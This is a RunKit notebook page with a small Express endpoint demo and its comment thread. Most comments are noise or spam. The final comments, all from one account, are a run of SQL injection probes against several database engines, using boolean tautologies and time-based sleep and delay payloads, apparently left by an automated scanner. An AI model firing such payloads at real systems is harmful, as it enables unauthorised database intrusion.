Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Express-Endpoint Demo

node v4.9.1
version: 2.0.0
endpointsharetweet
var tonicExpress = require("@runkit/runkit/express-endpoint/1.0.0") // Just provide the exports object to the tonicExpress helper var app = tonicExpress(module.exports) var bodyParser = require('body-parser'); app.use(bodyParser.urlencoded({ extended: false })); app.get("/", (req, res) => res.send("Hey!")) app.get("/:name", (req, res) => { res.send(`Hello ${req.params.name}!`) }) app.post("/echo-form", (req, res) => { var formData = Object.keys(req.body).map( k => `${k}: ${req.body[k]}` ) res.type("text/plain") res.send(formData.join("\n")) })
Once you create your Express app with the tonicExpress helper, it works like any other Express app. You can use middleware, declare routes, etc.
Loading…

54 comments

  • posted 8 years ago by wrg99
    https://nodejs.org/docs/v0.10.40/api/http.html#http_class_http_serverresponse
  • posted 8 years ago by abol
    👍 Omar aljabli
  • posted 7 years ago by imhomos
    #imhomos
  • posted 7 years ago by 59c940eec9e046001256f18e
    Is `tonicExpress` a legacy name? In other words, if you had written this Notebook today, would you have named that variable `runkitExpress` instead?
  • posted 6 years ago by lookdeepu
    Thank you.
  • posted 6 years ago by pavi2410
    I'm unable to get this work https://runkit.com/pavi2410/node-js-test
  • posted 6 years ago by ngocloi
    Z
  • posted 6 years ago by ngocloi
    O
  • posted 6 years ago by 5bdf16a8044148001354017b
    suwanpos@examples.com
  • posted 6 years ago by swn
    su-wan.examples.io
  • posted 6 years ago by swn
    pos time zone
  • posted 5 years ago by shliilh
    shlilh65@gmail.com
  • posted 3 years ago by tuanggo
    ngo461596@gmail.com
  • posted 2 years ago by us1
    Momo…0332938366
  • posted 2 years ago by mikypearl
    Massive
  • posted 2 years ago by shahidaleem
    Very good and very good
  • posted 10 months ago by brute-coder
    men see api , men happy
  • posted 8 months ago by 65ed7cca80d6d4000875ca0a
    Addacomment
  • posted 5 months ago by cantap969
    Ok
  • posted 5 months ago by cantap969
    Bb
  • posted 2 months ago by saingmyatkyaw
    Good my try in upgrading.
  • posted 2 months ago by 66bd3565ce278a00083db6cf
    endpoint example cash back guarantie the with the node provided jS did no conform with the cross reference like the eula with creditnote and the resulting algorithms will about a form from the node to mount the open bill your runkit service welcome with envelope to provide the cash back the demo hang not only by the test kit iso 2009:2015 about unaesthetic images on cigarettes ... the runkit can choose about versions for the service with sodexho and a letter by a list of customer or giftcard were recap function verify your given and las but not least with a prepaid card .we tryd by giftcard and there was no echo from chargement and closed supermarket chains
  • posted 23 days ago by hamidasl
    Comment
  • posted 23 days ago by hamidasl
    Hamidasl
  • posted 23 days ago by hamidasl
    Hamidasl
  • posted 23 days ago by hamidasl
    Hamidasl
  • posted 23 days ago by hamidasl
    Hamidasl
  • posted 23 days ago by hamidasl
    Hamidasl
  • posted 23 days ago by hamidasl
    Hamidasl
  • posted 21 hours ago by xsjybldb
    1
  • posted 21 hours ago by xsjybldb
    1
  • posted 21 hours ago by xsjybldb
    -1 OR 2+970-970-1=0+0+0+1 --
  • posted 21 hours ago by xsjybldb
    -1 OR 2+701-701-1=0+0+0+1
  • posted 21 hours ago by xsjybldb
    -1' OR 2+596-596-1=0+0+0+1 --
  • posted 21 hours ago by xsjybldb
    -1' OR 2+808-808-1=0+0+0+1 or 'kT2nAimS'='
  • posted 21 hours ago by xsjybldb
    -1" OR 2+658-658-1=0+0+0+1 --
  • posted 21 hours ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 21 hours ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 21 hours ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 21 hours ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 21 hours ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 21 hours ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 21 hours ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 21 hours ago by xsjybldb
    PNXpy72O'; waitfor delay '0:0:15' --
  • posted 21 hours ago by xsjybldb
    -5 OR 129=(SELECT 129 FROM PG_SLEEP(15))--
  • posted 21 hours ago by xsjybldb
    -5) OR 454=(SELECT 454 FROM PG_SLEEP(15))--
  • posted 21 hours ago by xsjybldb
    -1)) OR 661=(SELECT 661 FROM PG_SLEEP(15))--
  • posted 21 hours ago by xsjybldb
    tZZHNoA3' OR 24=(SELECT 24 FROM PG_SLEEP(15))--
  • posted 21 hours ago by xsjybldb
    dn8KOXXM') OR 662=(SELECT 662 FROM PG_SLEEP(15))--
  • posted 21 hours ago by xsjybldb
    B25dfNyA')) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
  • posted 21 hours ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 21 hours ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 21 hours ago by xsjybldb
    1'"
  • posted 21 hours ago by xsjybldb
    @@gMSWh

sign in to comment